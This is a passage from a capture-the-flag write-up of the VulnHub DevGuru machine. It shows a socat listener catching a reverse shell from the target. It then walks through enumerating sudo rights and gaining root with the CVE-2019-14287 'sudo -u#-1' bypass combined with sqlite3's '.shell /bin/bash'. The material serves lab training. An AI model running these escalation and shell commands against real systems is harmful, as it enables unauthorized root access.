Password for 'http://frank@devguru.local:8585': 
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 218 bytes | 218.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0

┌[siunam♥Mercury]-(~/ctf/VulnHub/DevGuru:1)-[2023.08.18|17:32:53(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:53
2023/08/18 17:32:53 socat[381888] N opening character device "/dev/pts/3" for reading and writing
2023/08/18 17:32:53 socat[381888] N listening on AF=2 0.0.0.0:53
                                                                2023/08/18 17:44:38 socat[381888] N accepting connection from AF=2 10.69.96.75:48726 on AF=2 10.69.96.100:53
                                                                 2023/08/18 17:44:38 socat[381888] N starting data transfer loop with FDs [5,5] and [7,7]
                                              frank@devguru:~/gitea-repositories/frank/rce.git$ 
frank@devguru:~/gitea-repositories/frank/rce.git$ export TERM=xterm-256color
frank@devguru:~/gitea-repositories/frank/rce.git$ stty rows 22 columns 107
frank@devguru:~/gitea-repositories/frank/rce.git$ ^C
frank@devguru:~/gitea-repositories/frank/rce.git$ whoami; hostname; id; ip a
frank
devguru.local
uid=1000(frank) gid=1000(frank) groups=1000(frank)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:af:e6:87 brd ff:ff:ff:ff:ff:ff
    inet 10.69.96.75/24 brd 10.69.96.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feaf:e687/64 scope link 
       valid_lft forever preferred_lft forever

I’m user frank!

user.txt:

frank@devguru:/home/frank$ cat user.txt 
{Redacted}

frank to root

Again, enumeration!

Sudo permission:

frank@devguru:/home/frank$ sudo -l
Matching Defaults entries for frank on devguru:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User frank may run the following commands on devguru:
    (ALL, !root) NOPASSWD: /usr/bin/sqlite3

Oh! User frank can run /usr/bin/sqlite3 without password as anyone else, except root??

Wait, we can’t run the command as root?? Why? That’s very weird to me.

Maybe the sudo version has a vulnerability??

Let’s check sudo’s version:

frank@devguru:/home/frank$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Upon researching, I found this GitHub repository:

So, if sudo version before 1.8.28, it’s vulnerable to CVE-2019-14287.

In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a “sudo -u \#$((0xffffffff))” command. (From https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287)

That being said, we can run the sqlite3 command as root using sudo -u#-1!!

Also, according to GTFOBins, we can escalate our privilege via:

Let’s do that!

frank@devguru:/home/frank$ sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/bash'
root@devguru:/home/frank# whoami; hostname; id; ip a
root
devguru.local
uid=0(root) gid=1000(frank) groups=1000(frank)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:af:e6:87 brd ff:ff:ff:ff:ff:ff
    inet 10.69.96.75/24 brd 10.69.96.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feaf:e687/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

Rooted

root.txt:

root@devguru:/root# cat root.txt
{Redacted}
root@devguru:/root# cat msg.txt 

	   Congrats on rooting DevGuru!
  Contact me via Twitter @zayotic to give feedback!

Conclusion

What we’ve learned:

  1. Dumping Git repository from a website
  2. Enumerating and modifying database’s data in Adminer
  3. Exploiting authenticated SSTI in October CMS
  4. Exploiting authenticated RCE in Gitea version 1.12.5
  5. Bypassing sudo policy blacklist via CVE-2019-14287
  6. Vertical privilege escalation via misconfigurated Sudo permission in sqlite3